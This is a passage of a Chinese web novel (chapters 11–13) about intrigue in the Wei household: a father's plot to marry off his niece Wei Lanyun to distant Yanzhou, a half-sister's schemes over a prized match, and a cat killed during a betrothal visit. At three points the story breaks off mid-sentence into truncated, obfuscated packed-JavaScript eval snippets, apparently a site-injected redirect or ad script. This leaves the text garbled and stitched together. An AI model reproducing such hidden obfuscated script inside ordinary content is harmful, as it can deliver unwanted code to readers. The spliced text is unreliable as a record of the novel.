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难道是她嫌弃三房的乡野味儿？亦或者是她不喜欢见人，所以强逼着三房给她在隐蔽处修了一间豪华的房舍？ 看着杨阿雁毕恭毕敬的举动，小厮愈发忍不住笑，他一直走到了小路的尽头。 这里有一间茅草混着泥土搭出来的房子，屋顶加盖了一层最廉价的灰瓦，瓦片放了有些年头了，上面已经出现了细碎的裂痕。 房舍里面异常空旷，只有略微几件家具摆在这里，椅子的腿儿已经被虫子蛀坏了，杨阿雁一推，这椅子便折了一边的腿，摔在地上摔得粉碎。 昨日下过一场大雨，屋子里陈旧的沾满灰尘的地板上，尚聚了浅浅的一摊水洼。 杨阿雁在水洼上看见自己不可置信的脸。 “这里是……下人房？” 她错愕地看着小厮。 小厮却再也憋不住了，他笑出了声来，他说—— “这里不是下人房，这里就是……大娘子的住所。” 11. 独行的少女（四） 魏三老爷走进三夫人的院子时，正巧碰见魏三娘从三夫人的房间里出来。 这是庶出的三娘子，而非夫人亲生的嫡出的四娘子，庶出的孩子终究是比嫡出的懂事的多些，魏三娘见了父亲，便乖巧地退避在一旁，深深施了一礼。 她唤：“父亲。” 三老爷并未过多言语，他只轻轻点头，算是应答上了这礼，之后便略过了魏三娘，径直推开了三夫人的房门。 没有通传没有预料的推门声响起，把三夫人吓了一跳。 三夫人刚想发怒训斥，抬眼却看清楚来人，立即扮上一副楚楚可怜的样子，她一早卸下了钗环首饰，身着一身素衣，胭脂也卸掉了，只留了薄薄的一层香粉，最是楚楚动人。 魏三夫人瑟瑟不敢出声，哀哀端了一杯茶过来，跪下请罪。 虽说事情已经解决了，但这荒谬的、虚妄的、差点闯下大祸的事情，毕竟是由她而起。 而且正如同方才魏三娘说的一样。 “先前父亲只看见了这件事的后果，所思所想都是这件事如何处理，而等待这件事解决之后，父亲回过味来，便会意识到这件事皆由夫人您的侄儿子所起，这件事的本质就是，您用大伯父的女儿，去救自己娘家大哥的儿子，父亲有多痛恶您帮扶娘家您也知道，等父亲想到了这层，他该有多愤怒，想必夫人您也明白。” 而平息一个老爷的怒火，无非是摇尾乞怜，痛哭请罪。 多少年来，三夫人都是这般撒泼卖痴地为自己的娘家争钱夺利，这一次也不例外。 只是这一次，似乎有些不同。 魏三老爷接过了三夫人的茶，一饮而尽。 舟车劳顿着去了一趟清水潭，进了徐家连坐都没有坐一下，接了人便往回赶，出门的时候匆忙，车里并未备下茶水，魏三老爷早就渴极了，他喝完一杯仍觉不够，自己拎了茶壶续上，直到牛饮了三杯，他才停下。 他看向魏三夫人，面色既没有怒意，也没有喜意，他平静无波地打量着魏三夫人，就像权衡打量着一个物品，看得魏三夫人心里发毛。 “老爷……”魏三夫人哀哀唤道。 魏三老爷没有说话，他静静望着魏三夫人，似是在等候她的下文。 见三老爷如此，魏三夫人心里慌极了，她硬着头皮继续说道：“老爷我……” “你那个侄儿子，叫什么来着？”而魏三老爷并不想听她继续说下去，他将茶杯重重地放在桌面上，冷声询问道。 “陈升……”魏三夫人连忙答道。 而魏三老爷忽而又没有心情去了解这个人的名字，他打断了魏三夫人，却又问了别的事情：“他救出来了吗？” “还没有……”魏三夫人咬唇，楚楚望着三老爷，这便是三夫人急迫地想要求得三老爷谅解的地方，她的侄子还尚未救出来，而她与徐家商议好的约定，早已经不复存在了，“徐家说，大姐儿葬下了，才将升荣放出来……” “既如此，你也便不要想着去救他……” “可他毕竟是我大哥唯一的儿子啊！”魏三夫人下意识打断了三老爷，话脱口而出了才感到自己失言，她委屈地低语，为自己辩解，“老爷您也知道，我那大哥早亡，只留下了这一个儿子，我从小将他看到大……” “行了。”魏三老爷嫌恶地看了三夫人一眼，挥了挥手，“多少年了，你那侄儿子争伎、作赌、惊扰在室闺阁女……犯了这么多事情，每次一出事你就拿出这套说辞来，也不变个样子，来来回回就这几句话，我耳朵都要起茧子了。” “可是……” “没有什么可是！”魏三老爷话音一转，“这一次的事情，不一样。” “他这次犯下的，并不是什么口角之争，也不是什么街坊巷尾里糊弄两句就能揭过的事情，他是科举作了弊，他在丹州府的考场里面，亲自被提学官孙大人抓了，押在诏狱里面，折子上写了奏报呈到了陛下面前去的！陛下方发大诰，现在多少双眼睛都盯着科考场上这点事，他自己作死，撞到陛下的耳朵里，这件事谁能顺利把它揭过去？” “你以为徐老二的夫人能救你的侄儿子？少做你的青天白日梦去吧！昨夜之前，徐老二根本就不知道这件事，她凭什么能救你的儿子？是凭她那个破落的，已经与他们长房嫡脉出了三服的娘家吗？” “这件事，就算是徐老二去管，他哪怕是脱了一层皮，也不能将你的侄儿子全须全尾地救出来，你还想让我救？还想让大哥救？大哥现在可是入阁的关键时期……”魏三老爷压低了声音，心头已经有了隐隐的怒气。 他的大哥，去岁被万岁钦点进了文华殿，就任文华殿大学士。 梁朝历代任文华殿大学士的，就没有简单的角色，不论从前远的南陵诗祖、太安伯爷，就说现在的首辅刘敬平，他入阁之前，就是在文华殿大学士这个位置上。 他的大哥是要入阁的人物啊！ 怎么可以在这样的关键时期，因为这样的烂泥，拦了大哥的青云之路呢？ “……事情的好坏我已经跟你说明白了，如果你非要为了你大哥的儿子，不要我们阖家的前程，不要你自己儿子的前程，那你就尽管去做，我不拦你，百年之后你的子孙恨你入骨，挫你的骨扬你的灰那也是你自己的事情，我也不管你。” “可是升荣是我们陈家唯一的血脉了……”魏三夫人却仍不死心，她低低地说了一句。 “你还想去管他？”魏三老爷狠狠将茶杯摔在地上，“我跟你说了这么多，你是一句话都没听进去吗？” “你们陈家？你嫁来我魏家小二十年，到现在，你还认为是‘你们陈家’？”魏三老爷说着，镇纸一挥便提笔，“既然如此，那你就回你们陈家去！” 见宣纸上落下“休书”二字，魏三夫人眼见地慌乱了起来，她吓得涕泗横流，猛地扑上去抱住魏三老爷的腿。 “老爷！老爷不能啊老爷！”她也不管声音是否传到屋外去，她放肆地哭喊，“我再也不管娘家了，我不管了，老爷，三郎不能没有母亲啊老爷！” 魏三夫人哭着，发誓的赌咒的话一骨碌地往外冒着，她再也没有了往日养尊处优的仪态，在地上不住地磕头，仿若一个疯妇。 魏三老爷停了笔，冷漠地看着她。 笔尖的墨汁子滴在了纸面上，晕出一团圆圆的墨迹。 也不知道三夫人哭了多久，直到魏三老爷看够了，看烦了，厌倦了，他才将笔往桌面上一丢，悠悠地问她：“你知道自己错在哪了？” “知道。”魏三夫人止不住地点头，她哭着说道，“我再也不会提升荣这回事了” “既如此，便还留你在魏家待几日罢了。” 一句轻飘飘的话语扔出去，仿若恩赐，换来了接下来魏三夫人不住地磕头答谢。 魏三老爷很享受这种感觉。 他喜欢这样在外面高贵的、说一不二的女人，在他面前摇尾乞怜蠖屈鼠伏的样子，他随意的一句话，就能换来这帮女人绞尽脑汁的揣摩，他随意丢下的东西，哪怕是一句轻飘飘的话语，都能换来这些女人的感恩戴德。 多好。 这样的感觉，是他在外面、在官场、在同僚之间，永远感受不到的。 魏三老爷才不会休弃三夫人出去呢。 毕竟，这个女人与其他的妾室还是略有不同的。 至少她生下了他唯一的儿子。 那可是他魏叔礼的独苗，百年之后，要给他扫墓添香的唯一后代。 魏三老爷还指望这样一个儿子，步他长兄的后尘，也于科考场上有一番作为，他日登阁拜相，也为他修表作铭。 他怎么会让自己唯一的儿子，有一个被品行不端被休弃出门的母亲呢？ 这也就是为什么他会放下耐心，跟三夫人一点一点讲述事情利弊的原因。 女人就是愚蠢的。 她根本想不到这一点。 魏三老爷忽而想到了他那个最蠢的妾室。 那是他新买来的一个，从扬州来的瘦马，大字不识一个，身段却尤为玲珑，耳鬓厮磨之间，她身上还有着幽幽的茉莉香气。 魏三老爷只觉心头一热。 然后望着糟糠之妻的目光逐渐变得烦躁。 “若是下回再让我发现，你与你的娘家还有联系，那你就回家去，莫要再做我魏家的人。”魏三老爷再冷声丢下一句话，抬腿就往外走去。 他已经等不及了。 “可是……”魏三夫人犹豫地叫了一句。 “又怎么了？”魏三老爷转头，此时他的怒意已经到达了顶峰。 “大姐儿不日就要下场了，万一她……”魏三夫人犹豫地说道。 她丝毫不担心魏兰蕴会向自己的亲生父亲告状，毕竟魏伯雍这十五年来对待魏兰蕴的态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“童生算什么？什么都没有，免不了税，拿不了田地，没有米粮银子，更别说点卯当官去了。”魏三老爷是举人，他深切地知道科考过来的一路艰辛，他当年苦读了多年，来来回回进了县礼房五六次，这才拿到了一个童生的功名，他顿了顿，轻蔑地说道，“多少人苦读至七八十岁仍是童生，从不尝进过贡院学庙，魏兰蕴从未学过书经，十日之后她便要应考，就连父亲，都没办法在十日内通读这些书卷，而她只是区区一个的女子。” “可万一……”魏三夫人还是担心。 魏兰蕴毕竟是魏老太爷养大的孩子，从小在京都素有才名。 万一她就考上了呢？ “没有这种万一。”魏三老爷冷哼，“我也不会让她有这种万一。” 正如同徐二老爷让小厮送出了那封去往丹州府的信一般，魏三老爷也早有打算，虽然他们从不认为魏兰蕴可以凭自己考中功名，但是总要防着别人利用她，借由这件事情，给他们来上狠狠一刀。 他们这些深谋远虑的老爷，从不会让自己的头顶上悬着利剑。 “她要考，我们便让她考，至于考完以后……”魏三老爷顿了顿，继续说道，“我已向大哥修书一封，告诉他我们已为兰姐儿找了一个好人家，待她考完之后，不用等到县衙贴榜，便送她离家成婚。” “哪有什么人家？”魏三夫人不解。 “会有的。”魏三老爷微笑，“你会在兖州给她找一个好人家，然后，将她平平安安送嫁到兖州去。” 兖州是大梁最北边的城池。 去岁才发了民乱。 送嫁的车队也许会在那里遭遇流民山匪，不过侥幸在民乱山匪里面活下来也没有关系，兖州那么远，一个弱小的可怜的女孩子，一个被夫家禁锢住的女孩子。 是再也走不回来的。 屋外下起了雨。 淅淅沥沥的小雨是随着晚霞一起落下的，天光和水的交界处涌出了一道彩虹。 魏三娘悄悄走出了三夫人的院子。 就在听完至关重要的一句话后。 随行的婢女候在院外，她打着伞，一路小跑到魏三娘身边，双手高举着伞没过三娘的头顶，而婢女自己则站在雨下，任由雨水打湿她的鬓发衣衫。 魏家的花园修的很好。 亭台假山兼着苍松翠柏，平白藏几个人进去，要找出来是要费点功夫的事儿。 魏三娘只安排了三两个仆从躲在这里，便轻而易举地造成了人言籍籍的样子，她那个愚蠢冷漠的父亲，还以为魏兰蕴被发卖的事情传遍了阖府，急急地便去找三夫人算账。 这真是……可笑极了。 12. 独行的少女（五） 是的。 魏兰蕴被配作冥婚的消息，是魏三娘传给魏三老爷的。 同样，将魏兰蕴送出去配作冥婚，也是魏三娘劝说魏三夫人的。 而她之所以这么做，是因为她看见了一封从京里寄来的信。 信是魏家的大老爷亲笔写下的。 他在信中提到了自己与崔九郎在兖州的会面，洋洋洒洒地对诉说了这场会面中，崔九郎的品行如何之高洁，道德如何之高尚。 魏大老爷说他极为看重崔家九郎，并且他说—— 他希望魏家能与崔家成就一段婚事。 他的意思不言而喻。 魏三娘知道崔九郎这位文坛宗师的声名地位。 魏三娘要这桩婚事。 信寄来了银湾，那么便意味着远在京城的魏二娘不在联姻的考虑范围内。 魏三娘并不好奇，那位高高在上的大房嫡次女不被考虑的原因，她只在意眼前见得到的、能与她竞争的人。 去掉一个魏二娘子。 那么这桩婚事可供挑选的新娘便只有三个。 她、魏三夫人亲生的四娘子，以及……魏兰蕴。 魏三娘先是将徐二夫人在寻冥婚女子的消息，透露给了魏三夫人，然后不经意间借管事们的嘴，告诉了魏三夫人，徐二夫人的身份地位足以救出她科举作弊被下了大狱的侄子。 最后魏三娘看着魏三夫人搭桥铺路。 将她的一个竞争对手送了出去。 魏三娘掐着点选在了魏兰蕴下葬的第二天早上。 她安排了仆从，躲在魏三老爷必经的道路上，营造出耳目昭彰的样子，将魏兰蕴的消息，借由仆从们议论纷纷的嘴，零零碎碎地传到三老爷的耳朵里。 她让三老爷以为这件事情阖府都知道了，她让三老爷以为这件事已经很难被轻易按下去，她让三老爷知道这件事是足以影响到他大哥仕途的大事，然后—— 让三老爷自己去找三夫人，去问她的罪。 这样，魏三娘又轻而易举地，去掉了一个竞争对手。 她的双手是干干净净的，她的夫君是触手可及的。 以后，她便是文坛宗师的夫人，亦或是崔家的族长夫人，亦或是未来首辅、未来帝师、未来国公侯爵的夫人。 可是令她没想到的是—— 魏兰蕴没有死。 她不但没死，还顺利地回了家，她不但顺利地回了家，这件事情还被顺利地压了下来，就像一阵风一样，轻飘飘吹了过去，就好像什么也没有发生。 没有任何后果，这意味着这件事根本无法撼动魏三夫人的地位，那么自然也无法撼动魏三夫人亲生的四娘子的地位。 她筹谋多日设下的一箭双雕的局，竟一个人也没有除掉。 魏三娘低着头在花圃里走着，思绪已经百转千回。 她摩挲着衣角，上边的针脚密密麻麻的，俨然已经缝补多次了，她身上穿的缎子是早年间流行的花色，经过多次的浣洗，上边的凌霄花已经褪掉了颜色，她的面色素白，枯黄的头发只用一根银簪子挽着。 魏三娘忽的仰头，定定地望着魏家西北角那栋破败的院子，院子里走出来一个丫鬟，她直挺挺地走着，脸上是难掩的怒容。 魏三娘忽的笑了。 不过还好。 她的处境尚不算差。 她还有时间。 设下另外一个一箭双雕的局。 魏大老爷已经走了很远了。 魏三夫人泪眼垂垂地望着魏三老爷的背影，直到那个背影彻底消失在她的视线里，她才搀扶着仆从的臂膀，缓缓坐起来。 婆子给她端了一杯姜茶。 魏三夫人一饮而尽。 她的涕泪已经抹去了，脸上再也看不出悔恨懊恼的痕迹。 魏三夫人很清楚三老爷不会把她休弃出去。 同床共枕近二十年，魏三夫人比魏三老爷自己还要清楚他的为人，魏三夫人深切地明白三老爷重视自己的后代远远胜过一切，他在心里无比地妒忌自己的大哥，所以他最为期盼的就是他能生下一个如大哥一般的儿子，登阁拜相，平步青云，也让他尝一尝一人之下万人之上的滋味儿。 所以，这样的他，哪怕是魏兰蕴今天真的死在了徐家，他也不会、他也不敢将自己休弃出门，因为他不舍得让他独子的人生沾上半分污点。 只是这个人也同样重视他的面子，重视他那种高高在上的感觉。 哪怕是魏三夫人清楚的知道这个人不会把她怎么样，她也要把这场戏做到位，从痛苦到流涕到哀求到叩首，最后再到他如同君临一般的恩赐的谅解，要将他哄得开心，哄得以为自己目贵明耳贵聪心贵智（注1）。 年复一年，每一次都是这样的流程，从未改变过。 魏三夫人已经习惯了。 她倚在软塌上，四个丫鬟跪在她身旁，替她揉肩捶腿。 “去库房里取些银子来，叫人去丹州府探一探路，看看能不能先把升荣从牢里换出来。”魏三夫人吩咐着，就像吩咐平常中馈琐事一般。 “是，夫人。” 她的心腹婆子领命，就像领着平常中馈琐事的命一般。 这里是魏宅里最小最陈旧的阁楼。 这其实也不是一间阁楼。 它更像是一个小小的院落。 正堂已经不用许久了，门窗墙梁被虫蛀得不成样子，正堂上边加盖了一层小屋子，屋子里边用梨花儿木打了一排架子床，这里是从前家里女孩子们的闺房。 正堂左右配着东西两个厢房，东厢房是给家里的主人住的，用的料是家里最好的，不过可惜后来魏家修整院墙的时候把整个东厢房都推倒了。 西边的厢房分为了三间，是给家里的三个儿子住的。 大儿子后来考中了进士，是第一个离开这间房子的人；二儿子久考不中，后来干脆游历四方，去做了个风流诗人，他是第二个离开这间房子的人；而三儿子留在了这里，他靠着大哥荫补了官儿做，将这座宅子越修越大，直到成为银湾里数一数二的好宅邸。 这个小院子还保留着那个妇人的痕迹。 她住在大儿子的房子里，但是大儿子看不上她，大儿子以专心科考为由，长年来让她睡在厢房窗户下的矮榻上。 那是小小的一张矮榻，不到一尺宽，这是连魏兰蕴这样小小的女孩子都要蜷缩着睡下的矮榻，那个妇人在这张榻上睡了五年。 她是一个极为特殊的妇人。 近乎与经史子集里常描述的德言工貌大相径庭。 她杀猪。 她是一个屠户女。 她可以面不改色地扎进生猪的动脉，可以为了一个好摊位与膘肥体壮的男人争吵，她的身形是她丈夫的两倍，她孔武有力，粗壮的臂膀甚至可以拔山扛鼎。 她拿着一把杀猪刀，扛起了这个衰败的家族的脊梁。 她一刀一刀，在正院上盖起了阁楼，将厢房加到了三间，茅草顶儿换了砖瓦。 她一刀一刀，给丈夫买来笔墨换来纸砚，送他赶考，再送他金榜题名。 然后她死了。 草草地下了葬。 这个家里所有靠她供养的人都不在意她。 所有人都往前走着。 只留了她那小小的可怜的女儿在这里自生自灭。 魏兰蕴跪坐在发霉的草垫上，手侧的小几上泡着一杯酽茶。 茶饼是从正堂里的箱子翻出来的，不知道放了多少年的东西，找出来的时候，糊饼的油纸外甚至还有着一层白白的毛边。 她身上还穿着那天从徐家回来的衣衫，泥水还沾在上面，裙角磨在碎石上勾了粗线出来，帷帽已经摘去了，魏兰蕴脖颈上的青紫已经消散许多，只还留着一道褐红色的痕迹浮在上面，被捆束的近乎僵硬的手腕倒是恢复如常。 魏兰蕴手里翻看着一本书。 书是从前魏家郎君启蒙用的，是一本薄薄的百家姓，书页潮湿极了，还蒙着一层陈灰，魏兰蕴从没见过梁国的文字，她看着这本书，单是辨认里面的文字，便足以令她尽心竭力。 她真的能考的中吗？ 杨阿雁抱着双臂，挎着食篮，倚在楼梯上，透过窗户看着魏兰蕴。 她不认识字，也不知道科考里边要考些什么，她只知道隔壁院子里应考县试的小童，可以将摞起来有半人高的书籍倒背如流，而他们院子里这个应考县试的女孩子，单看一本不若一指厚的蒙书，便已经足够吃力。 她不可能考的中功名的。 杨阿雁掀开盖着食篮的油布，抓起篮子里仅有的算作荤腥的鸡架子，三下五除二啃了个干净，然后随意从楼梯上抛下，扔进院子里密密的杂草堆里。 啃光了鸡架，杨阿雁尚觉肚饿，她又拿起篮子里的高粱馍馍，一口一个塞进嘴里，直到还剩最后一个，杨阿雁犹豫了一下，又掰了半个进嘴，剩了最后半个，她扔回篮子里，然后提着篮子进了阁楼。 这是杨阿雁伺候魏兰蕴的第三天。 从第一天的毕恭毕敬，到第二天的视同一律，再到第三天的肆行无忌，杨阿雁已经全然探悉出了这个大房大娘子的首尾底细。 做她的贴身侍婢，并不是天上掉下来的馅饼。 当杨阿雁意识到，她咬了一嘴的石头子的时候，她曾经怒气汹汹地找大管事算这笔账，就在她伺候魏兰蕴的第二天晚上。 那个时候，洗菜的翠柳正带着她的咸菜躺在大管事的榻上，她敲开大管事的门的时候，她躲在被子里，拱出小山般的高度，大管事披着衣服匆匆出门，将她拦在了外面说话。 起先大管事并不想退还这颗银锞。 这般好的东西，是添在儿女聘用嫁礼中，都能增色不少的宝贝，大管事怎么舍得退还？ 他从里衣的内兜里勉强掏了几块碎银块来，不是炼过的银锭子铰出来的，而是泛着铜灰色的碎银矿块儿，不值几个钱，是拿去酒肆食馆都不大有人愿意收的东西。 大管事竭力地安慰杨阿雁。 他说，这毕竟是大老爷的亲生女儿，若是有朝一日大老爷想起这个女儿，想尽舐犊之情，杨阿雁便能随着她鸡犬升天。 他又说，魏兰蕴是要考科举的女子，那么多老爷大人都是科考场上出来的，若是有朝一日魏兰蕴考中了，她以后就是女老爷女大人，那时候杨阿雁也能随着她鸡犬升天。 大管事说的舌灿莲花，他说这个茅茨土阶破烂屋，亦是一步登天青云路，他说得好似胸蟠万卷纡筹策，口说六义如贯珠（注2）。 但杨阿雁一个字都不在意。 无关乎信与不信，只是杨阿雁一向奉行眼见为实。 她的父亲在她六岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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比如这一颗银锞子。 要回这颗银子的方法也很简单，哪怕是巴掌大儿的头领屁股底下也没有清清白白的，就光大晚上与外院的丫头厮混，就足够大管事去喝上一壶，她杨阿雁光脚的从不怕穿鞋的，要是大管事不把这颗银子退给她，她就要看看她与大管事谁跟豁得出去些。 大管事才不敢豁出去。 银锞子又回了她的袖袋子。 不过因此她确实得罪了大管事。 这个在大管家下面极为得脸的大管事，管着府里三等以下奴仆的调配调用，若是杨阿雁想从那个破烂屋里出来，少不得要经过这个人。 不过没关系。 杨阿雁地颠了颠袖袋的重量。 她的左手袖袋里面，两粒锞子碰撞出清脆的响声，一颗是银打的锞子，另一颗也是。 杨阿雁食篮放在了小几上。 魏兰蕴抚摸着书上的文字，连头都没有抬起一下。 她没有多看杨阿雁一眼。 许是因为心虚还是什么别的，杨阿雁在退出去之前没由来地说了一句话。 她说：“今日厨房只给了这么多。” 一个惹得父亲与祖父厌弃的女孩子，一个被赶到魏家旧院儿里住着的女孩子，一个许久没享受过正经娘子待遇的女孩子。 厨房拜高踩低，只给她半块高粱馍馍，又怎么不算合情合理？ 魏兰蕴没有说话。 寂静的阁楼里面，只有她刷刷翻着书页的声音，她不像是在看书，更像是一个不识字的孩童的玩闹。 她是生气了吧。 杨阿雁悄悄打量着魏兰蕴。 她的饭食从不见荤腥再到不能饱腹，她又怎么会看不出这食篮背后的弯弯绕绕？这个年纪又手无缚鸡之力的女孩子，她生气了她能做些什么？她只能装作看不见你，闷在一团，气了自己，气不到别人。 杨阿雁忽然觉得有些好笑，她转头就走，却踩到了这个女孩子搭好的简易的一堆木炭。 这是她自己从院子里捡的树枝烧成的炭。 在阁楼的各个角落里面放得曲折环绕的，像是孩童笨拙地布置的恶作剧的陷阱。 这是这个女孩子报复她的方式？ 的确是有够可笑的。 杨阿雁哂笑一声，踩烂了她的一个“陷阱”，然后扭头退了出去。 这样的人去考科举？ 杨阿雁再度为自己做的决定而感到庆幸。 她不可能能考的中功名。 魏兰蕴翻到了书的最后一页，终于辨认出了书本中最后一个梁国文字。 她掀起油布的一角，看见了半个高粱馍馍。 她什么也没说。 这三天她都是如此做的，无论是被毕恭毕敬地对待着，还是被谩不经意地对待着，她既没有因为骤然获得的礼遇而感到欣喜，也没有因为骤然失去的礼遇而感到失落。 房间的水汽已经少了很多，曲折环绕的木炭潮极了，一碰是一手的水珠子。 屋顶的茅草下新刷了一片漆，地板上聚成的小水洼已经风干了。 魏兰蕴从窗外望去。 宅里给她派的那个婢女又出门了。 有个衣衫不错的丫鬟给她带路。 路的最末站着一个娘子。 娘子的发髻上只挽了一个素白的簪子。 13. 独行的少女（六） 县衙里迎来了一位贵客。 丹州府崔家的六夫人抵达了银湾。 她在县衙整顿歇息了两日之后，并未急着去魏家拜访，而是令县尊夫人王季氏做东，邀魏三夫人魏陈氏作陪。 先是挑拣了几个银湾风景绝胜之地赏玩，再是遍邀银湾玉溪等地名门设宴作谈，直到确信上阳魏家的品行端正，魏家的当家夫人进退合宜。 崔六夫人这才拿着名帖叩响了魏宅的大门。 她叩门所为何事两家皆心知肚明。 就在两位夫人寒暄尔后，魏三夫人令人将魏四娘子唤了来。 “这是我头生的女儿，咱家太爷的第四个孙女儿，出生的时候是个冬天，那时候上阳还未沦陷，家里开了满院的梅花，我家太爷便取了‘袭九英之曜精兮，佩瑶光以发微（注1）’中的两个字，唤做九英。” 魏三夫人不紧不慢地介绍道。 魏九英是早已装扮好候在后头的。 就在传唤不过半刻钟的时候，魏九英便抱着狸奴进了堂内。 她穿着天青色绣红梅花的襦裙，配着素白的袄子，外裹了一袭红斗篷，裙袄斗篷皆滚了一圈毛边儿，头发梳成双髻，绕了两根鎏金的红绳子，看上去娇俏可爱极了。 “小女魏四，见过崔六夫人。” 魏九英俯身施了一礼，声音婉婉若黄鹂。 狸奴从她怀里跳出来，落在崔六夫人手边的凭几上。 崔六夫人平日里也喜欢养狸奴，魏九英的这只白胖可爱，崔六夫人忍不住上手逗弄了起来，这只狸奴亲人极了，露出软软的肚皮打着咕噜撒娇。 崔六夫人喜欢极了。 “你也喜欢养狸奴吗？”崔六夫人问道。 “母亲严厉，小女平日要完成三个时辰的课业，才能换得与狸奴玩上一小会儿，小女爱极了这只猫，奈何陪伴的时候不多，猫儿看来更喜欢六夫人些，它同小女在一起时，可没这么乖巧。” 魏九英乖巧颔首，看上去羞涩极了。 她近乎把头埋进了斗篷里面，斗篷里面仆妇给她绣的字儿小极了，她险些没看得清楚，幸好前两日魏三夫人强押着她把词儿背下来，她这才不至于露怯。 “魏夫人看上去温柔若水一般，私下里这么严厉？”崔六夫人打趣道，“当着我一个外人的面儿，你家女儿都这样说你，三夫人在家中看来有着河东狮之名啊。” “小女孩子说话没遮没拦的，哪就有了？还不是看着六夫人亲厚，未来咱们又是一家人，想到什么就一股脑儿说了出来。”魏三夫人忙嗔道，说完却又感觉有些不妥，又添补了两句，“她左不过天资不行，比不过九郎那般聪颖，只能靠勤奋来抵罢了。” “九郎……”崔六夫人望着魏三夫人笑着，眼睛却是平淡的，她顿了顿，又不紧不慢地说道，“九郎却是天资聪颖，日后你家女儿嫁了过来，也可让九郎指点一二。” 这话就算是定下来了。 魏三夫人的笑意愈发浓郁了起来。 狸奴从桌上跳下去，躲在角落里玩耍，正堂里的香炉袅袅，就当香块燃尽，婢女端着托盘来换香的时候，墙角里发出一声尖叫。 崔六夫人泰然自若，魏三夫人则是嫌恶地看了一眼，示意身侧的婆子前去处理，魏九英则按捺不住好奇，抬头张望—— “啊！” 魏九英吓得近乎从椅子上跳了起来，旋即又大哭了起来。 “我的狸奴！” 她近乎是朝着墙角扑了过去。 魏三夫人与崔六夫人的目光也被吸引了过去，在廊柱后的花圃下，躺着那只白白胖胖方才还在撒娇的小猫，猫的脑袋是生生被人夹断的，血汪汪地从双目口鼻里渗出来。 它死了有一会儿了，绿头的发着嗡嗡声的蝇虫在它的身边徘徊。 “是谁干的，究竟是谁干的？”魏九英气极了，她怒吼着，声音再不若黄鹂般婉转，她提了墙角修剪枝干的剪刀，大步朝外走出去，“老董头在哪里？今儿给我把这里围住了，我倒要看看是谁干的这事儿，看我不剪烂这个人的脑袋！” 魏三夫人面色僵硬了。 她甚至连叫都叫不住魏九英。 她的这个女儿就是这样，平日最喜欢舞刀弄棒的，没个温婉的小女孩儿样，今日好说歹说让魏九英装一下，可是狸奴死了。 这是魏九英平日里最宝贝的狸奴。 她可以一日不吃饭，钻进厨房里做狸奴最爱的猫饭； 她也可以一日不睡觉，在后院里种狸奴最喜欢的猫草。 曾经三老爷威胁她，说要将她的狸奴关起来，不让她碰，她便也把自己关起来，几日几夜地不吃饭，哪怕饿得脱相了，也没有退让半分。 到底是谁杀了她的狸奴？ 魏三夫人气的攥紧了拳头。 是谁碰巧就在她相看夫婿的时候，在明知她最宝贝这只猫的前提下，故意当着她的面送上了这只猫的尸体？ 魏三夫人想剪烂这个人的脑袋。 “六夫人，家门管束不严，竟有恶奴如此，让夫人看笑话了，真是惶愧奚如，尚望夫人海涵，不知纳采之期……” 方才魏三夫人正是与崔六夫人商议到此处，骤然间被打断了，显然今日是议不成了，只是魏三夫人还想再争取一下，赶紧把婚事定下来，免得夜长梦多。 崔家九郎是多好的夫婿。 魏三夫人再也找不到第二个能与崔九郎相提并论的人了。 魏九英这个傻孩子，根本不知道崔九郎的好处，也不知道女人找一个好夫婿的好处，成天混不上心的，如若不是她压着迫着，她甚至今日根本不会来。 若是她在懂事些就好了。 魏三夫人哀叹。 不过是一只猫而已。 她只要嫁了崔九郎，别说一只猫，她就算要一只老虎，崔九郎也可以给她送一笼子来，那时候想养什么就养什么，这不过是一只猫而已。 “出了这般的事情，商议这个也不吉利，我看不如改期吧。” 崔六夫人拒绝了魏三夫人，她的脸色也不好看。 她最爱的就是狸奴，虽然这只不是自己养的，但也乖巧可爱，上一刻还在自己怀里撒娇的小猫，下一刻就惨死在自己面前，崔六夫人心头也一股火起。 她不由得多添了一句话。 “这般的恶奴，就应该押到衙门去，乱棍打死。” 魏三夫人颔首，思绪却已飘到别处去。 如若不定下婚事，那么现在的所有发生的一切皆是家丑，应当请崔六夫人离开才好，但现在看来，崔六夫人并没有这个意思，如若她贸然提出请走六夫人，未免太失礼了些，显得像是赶人走一样，更重要的是—— 这像是在掩盖这场家丑背后的故事。 魏三夫人大抵能猜到是谁做的。 谁想要崔九郎。 就是谁做的。 既然如此，那便将这场家丑敞亮地撕开好了。 她的九英不过是粗鲁了些，也总比心思恶毒好，反正魏家与崔家是要结亲的，到时候矮子里拔高个儿，选的也是她的九英。 董大管事匆匆带了人来围住了正院。 丫鬟小厮一个一个验明正身，看管审问，正当查验一个丫鬟的时候，这丫鬟突然间抖得如筛糠一般，她尖叫一声，扭头就跑。 “拦住她！”董大管事立刻叫道。 小厮们扑了上去，将她压在了地上。 小丫鬟的袖子里掉出了一枚胡桃夹子，夹子上血迹斑斑，她吓得哭了起来，连连叫道：“不是我做的！不是我做的！” 魏九英拿着大剪子气势汹汹地走来，魏三夫人与崔六夫人也连忙走过来，魏三夫人生怕魏九英一怒之下会做出什么事儿来，连忙把魏九英挡在身后。 “你说不是你做的，那这是什么？”魏三夫人说道。 有小厮将胡桃夹子捧到魏三夫人面前，魏三夫人看了一眼便别过头去，崔六夫人也看了一眼，还拿在手里仔细看了看，魏九英想出来狠狠教训这个丫鬟，胳膊却被魏三夫人死死拽住，她急出了眼泪，还想说些什么，却被魏三夫人狠狠瞪了一眼。 魏九英收敛了起来。 魏三夫人则咄咄逼人了起来。 丫鬟缩着脑袋，结结巴巴地道：“这……这个东西，是我捡……捡的。” “捡的？”魏三夫人冷笑，“那你怕什么？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 